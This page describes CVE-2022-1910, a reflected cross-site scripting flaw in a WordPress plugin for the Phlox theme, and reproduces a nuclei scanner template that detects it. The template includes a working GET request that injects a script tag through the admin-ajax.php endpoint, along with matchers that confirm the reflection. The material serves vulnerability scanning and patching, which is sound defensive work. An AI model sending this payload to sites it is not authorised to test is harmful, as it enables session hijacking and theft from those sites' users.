CVE-2022-1910: WordPress Shortcodes and Extra Features for Phlox <2.9.8 - Cross-Site Scripting

2025-08-01 WordPress Shortcodes and Extra Features for Phlox PoC Public

Description

WordPress Shortcodes and extra features plugin for the Phlox theme before 2.9.8 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2022-1910

info:
  name: WordPress Shortcodes and Extra Features for Phlox <2.9.8 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress Shortcodes and extra features plugin for the Phlox theme before 2.9.8 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Shortcodes and Extra Features for Phlox plugin (2.9.8 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8afe1638-66fa-44c7-9d02-c81573193b47
    - https://wordpress.org/plugins/auxin-elements/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1910
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1910
    cwe-id: CWE-79
    epss-score: 0.01409
    epss-percentile: 0.71441
    cpe: cpe:2.3:a:averta:shortcodes_and_extra_features_for_phlox_theme:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: averta
    product: shortcodes_and_extra_features_for_phlox_theme
    framework: wordpress
  tags: cve,cve2022,wordpress,xss,auxin-elements,wpscan,wp-plugin,wp,averta,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=aux_the_recent_products&data[wp_query_args][post_type]=post&data[title]=%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'widget-title"><script>alert(document.domain)</script></h3>'
          - 'aux-widget'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009ff502b5dd023070ddb71282005dc0440b3c509bac569178343029689d87a02802206cbba9c8533ec87e9709c1a07ecb2db3615d693c3f4e057e0471e707a51db5ec:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1910.yaml

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